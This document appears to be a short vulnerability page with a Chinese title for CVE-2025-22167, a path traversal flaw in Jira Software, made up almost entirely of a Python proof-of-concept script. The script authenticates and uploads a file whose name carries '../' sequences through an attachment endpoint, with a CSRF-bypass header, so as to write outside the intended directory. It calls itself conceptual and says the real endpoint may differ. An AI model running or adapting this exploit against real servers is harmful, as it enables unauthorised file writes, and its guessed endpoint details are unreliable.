CVE-2025-22167：Jira Software路径遍历任意写入漏洞

# CVE-2025-22167 - Jira Software Path Traversal Arbitrary Write PoC # This is a conceptual PoC demonstrating the path traversal vulnerability # in Jira Software Data Center and Server import requests # Target Jira server configuration TARGET_URL = "https://jira-target.example.com" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to Jira to obtain session session = requests.Session() login_url = f"{TARGET_URL}/rest/auth/1/session" auth_payload = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=auth_payload) print(f"Authentication status: {response.status_code}") # Step 2: Exploit path traversal to write arbitrary file # The vulnerability exists in file handling endpoints # Attackers can use ../ sequences to escape intended directories exploit_url = f"{TARGET_URL}/rest/api/2/attachment/upload" # Malicious payload with path traversal to write outside intended directory malicious_filename = "../../../../../../tmp/malicious_file.txt" files = { 'file': (malicious_filename, b'malicious content', 'application/octet-stream') } headers = { "X-Atlassian-Token": "no-check", "Accept": "application/json" } response = session.post(exploit_url, files=files, headers=headers) print(f"Exploit status: {response.status_code}") print(f"Response: {response.text}") # Note: Actual exploitation details may vary based on the specific # vulnerable endpoint and Jira version. The core principle is # the lack of proper path validation allowing directory traversal.
